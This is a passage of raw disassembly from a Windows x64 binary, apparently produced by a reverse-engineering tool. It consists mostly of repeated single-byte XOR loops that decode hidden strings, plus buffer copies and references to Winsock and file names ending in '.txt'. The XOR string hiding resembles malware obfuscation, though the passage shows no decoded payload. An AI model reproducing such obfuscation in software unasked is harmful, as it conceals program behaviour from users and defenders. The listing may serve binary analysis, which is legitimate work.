xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.140032030
mov r8, r13
lea rdx, [rax + 1]
nop word [rax + rax]
movzx ecx, byte [r8 + rdx]
xor cl, byte [rax]
mov byte [r8 + rdx], cl
inc r8
cmp r8, 0x61
jb 0x14002ee20
mov byte [rdx + 0x61], 0
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, [rsp + 0x90]
call fcn.1400320f0
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.140032140
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, ds:[r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
lea r8, [r8 + 0xe]
lea rax, [r10 + r8]
cmp rax, 0x62
jb 0x14002ef20
mov byte [r11 + 0x62], 0
mov rdx, r11
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, [rsp + 0x90]
call fcn.140032200
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.140032250
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r11 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
movzx eax, byte [r9]
xor byte [r8 + 0x1b], al
movzx eax, byte [r9]
xor byte [r8 + 0x1c], al
movzx eax, byte [r9]
xor byte [r8 + 0x1d], al
movzx eax, byte [r9]
xor byte [r8 + 0x1e], al
lea r8, [r8 + 0x21]
lea rax, [r10 + r8]
cmp rax, 0x63
jb 0x14002f0a0
mov byte [r11 + 0x63], 0
mov rdx, r11
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, ds:[rsp + 0x90]
call fcn.140032310
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.140032360
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
lea rdx, ds:[r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
lea r8, [r8 + 0xe]
lea rax, [r10 + r8]
cmp rax, 0x62
jb 0x14002f2a2
mov byte ds:[r9 + 0x63], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x110]
call fcn.140007dc0
nop
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.1400396d0
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, [rsp + 0x90]
call fcn.140032420
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
movdqa xmm0, xmmword [0x1401a58a0]
movdqa xmmword [rsp + 0x170], xmm0
movdqa xmm1, xmmword [0x1401a5860]
movdqa xmmword [rsp + 0x180], xmm1
movdqa xmm0, xmmword [0x1401a5680]
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmm1, xmmword [0x1401a58b0]
movdqa xmmword [rsp + 0x1a0], xmm1
movdqa xmm0, xmmword [0x1401a5850]
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmm1, xmmword [0x1401a5890]
movdqa xmmword [rsp + 0x1c0], xmm1
mov word [rsp + 0x1d0], 0x515d
mov byte [rsp + 0x1d2], 0
mov rcx, r13
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x171], al
inc rcx
cmp rcx, 0x61
jb 0x14002f471
mov byte [rsp + 0x1d2], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x120], xmm1
lea rax, [rsp + 0x171]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14002f4b3
lea rdx, [rsp + 0x171]
lea rcx, [rsp + 0x110]
call fcn.140007e00
nop
mov rdx, qword [rsp + 0x378]
cmp rdx, qword [rsp + 0x380]
je 0x14002f665
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x1401a5530]
movdqa xmmword [rsp + 0x100], xmm0
mov byte [rsp + 0xf0], 0
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x1401a5530]
movdqa xmmword [rsp + 0x120], xmm0
mov byte [rsp + 0x110], 0
add qword [rsp + 0x378], 0x40
jmp 0x14002f67b
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, [rsp + 0x90]
call fcn.140031690
mov r9, rax
lea rdx, [rax + 1]
lea r8, [rax + 3]
mov rbx, 0xfffffffffffffffd
sub rbx, rax
nop word [rax + rax]
lea rcx, [rbx + r8]
movzx eax, byte [r9]
xor byte [rcx + rdx], al
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
lea r8, [r8 + 0x17]
lea rax, [rbx + r8]
cmp rax, 0x45
jae 0x140030f46
nop dword [rax]
jmp 0x14002f590
lea r8, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.140041080
nop
lea rcx, [rsp + 0x110]
call fcn.1400041e0
lea rcx, [rsp + 0xf0]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a5900]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1401a5a40]
movdqu xmmword [rsp + 0xa0], xmm1
mov dword [rsp + 0xb0], 0x7478742e
mov byte [rsp + 0xb4], 0
mov rdx, qword [0x1401c4948]
lea rax, [rsp + 0x91]
mov rcx, rsi
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x14002f6e0
mov rax, r14
sub rax, rdx
cmp rax, rcx
jb 0x140030be7
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rcx
lea rax, [rsp + 0x91]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0xf0]
call fcn.140025b40
nop
movdqa xmm0, xmmword [0x1401a56f0]
movdqa xmmword [rsp + 0x170], xmm0
movdqa xmm1, xmmword [0x1401a5780]
movdqa xmmword [rsp + 0x180], xmm1
movdqa xmm0, xmmword [0x1401a5a00]
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmm1, xmmword [0x1401a56e0]
movdqa xmmword [rsp + 0x1a0], xmm1
movdqa xmm0, xmmword [0x1401a5760]
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmm1, xmmword [0x1401a5740]
movdqa xmmword [rsp + 0x1c0], xmm1
mov dword [rsp + 0x1d0], 0x2c202c76
mov byte [rsp + 0x1d4], 0
mov rcx, r13
nop dword [rax]
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x171], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x172], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x173], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x174], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x175], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x176], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x177], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x178], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x179], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17a], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17b], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17c], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17d], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17e], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17f], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x180], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x181], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x182], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x183], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x184], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x185], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x186], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x187], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x188], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x189], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18a], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18b], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18c], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18d], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18e], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18f], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x190], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x191], al
add rcx, 0x21
cmp rcx, 0x63
jb 0x14002f7b0
mov byte [rsp + 0x1d4], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x120], xmm1
lea rax, [rsp + 0x171]
mov r8, rsi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002f9e0
lea rdx, [rsp + 0x171]
lea rcx, [rsp + 0x110]
call fcn.140007e00
nop
mov rdx, qword [rsp + 0x378]
cmp rdx, qword [rsp + 0x380]
je 0x14002fa7e
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x1401a5530]
movdqa xmmword [rsp + 0x100], xmm0
mov byte [rsp + 0xf0], 0
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x1401a5530]
movdqa xmmword [rsp + 0x120], xmm0
mov byte [rsp + 0x110], 0
add qword [rsp + 0x378], 0x40
jmp 0x14002fa94
lea r8, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.140041080
nop
lea rcx, ds:[rsp + 0x110]
call fcn.1400041e0
lea rcx, [rsp + 0xf0]
call fcn.1400041e0
movdqa xmm0, xmmword [0x1401a58f0]
movdqu xmmword [rsp + 0x90], xmm0
movdqa xmm1, xmmword [0x1401a5700]
movdqu xmmword [rsp + 0xa0], xmm1
mov dword [rsp + 0xb0], 0x747874
mov rcx, qword [0x1401c4948]
lea rdx, [rsp + 0x91]
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x14002faf1
sub r14, rcx
cmp r14, rax
jb 0x140030be7
mov r9, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r9, qword [0x1401c4938]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x91]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0xf0]
call fcn.140025b40
nop
movdqa xmm0, xmmword [0x1401a5b30]
movdqa xmmword [rsp + 0x170], xmm0
movdqa xmm1, xmmword [0x1401a59c0]
movdqa xmmword [rsp + 0x180], xmm1
movdqa xmm0, xmmword [0x1401a5750]
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmm1, xmmword [0x1401a5b20]
movdqa xmmword [rsp + 0x1a0], xmm1
movdqa xmm0, xmmword [0x1401a5a10]
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmm1, xmmword [0x1401a56d0]
movdqa xmmword [rsp + 0x1c0], xmm1
mov dword [rsp + 0x1d0], 0x7e727e
mov rcx, r13
nop word [rax + rax]
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x171], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x172], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x173], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x174], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x175], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x176], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x177], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x178], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x179], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17a], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17b], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17c], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17d], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17e], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x17f], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x180], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x181], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x182], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x183], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x184], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x185], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x186], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x187], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x188], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x189], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18a], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18b], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18c], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18d], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18e], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x18f], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x190], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x191], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x192], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x193], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x194], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x195], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x196], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x197], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x198], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x199], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x19a], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x19b], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x19c], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x19d], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x19e], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x19f], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x1a0], al
movzx eax, byte [rsp + 0x170]
xor byte [rsp + rcx + 0x1a1], al
add rcx, 0x31
cmp rcx, 0x62
jb 0x14002fbc0
mov byte [rsp + 0x1d3], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x110], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x120], xmm1
lea rax, [rsp + 0x171]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14002fed4
mov r8, rsi
lea rdx, [rsp + 0x171]
lea rcx, [rsp + 0x110]
call fcn.140007e00
nop
mov rdx, qword [rsp + 0x378]
cmp rdx, qword [rsp + 0x380]
je 0x14002ff76
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rdx], xmm0
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [rdx + 0x10], xmm1
movdqa xmm0, xmmword [0x1401a5530]
movdqa xmmword [rsp + 0x100], xmm0
mov byte [rsp + 0xf0], 0
movaps xmm0, xmmword [rsp + 0x110]
movups xmmword [rdx + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x120]
movups xmmword [rdx + 0x30], xmm1
movdqa xmm0, xmmword [0x1401a5530]
movdqa xmmword [rsp + 0x120], xmm0
mov byte [rsp + 0x110], 0
add qword [rsp + 0x378], 0x40
jmp 0x14002ff8c
lea r8, [rsp + 0xf0]
lea rcx, [rsp + 0x370]
call fcn.140041080
nop
lea rcx, [rsp + 0xf0]
call fcn.140016be0
lea rdx, [rsp + 0x90]
call fcn.140032470
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
mov byte [r8 + 0x20], 0
mov rdx, r15
lea rcx, [rsp + 0xf0]
call fcn.140022fd0
nop
lea rdx, [rsp + 0x170]
call fcn.1400324c0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
nop dword [rax + rax]
lea rdx, ds:[r11 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r10], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
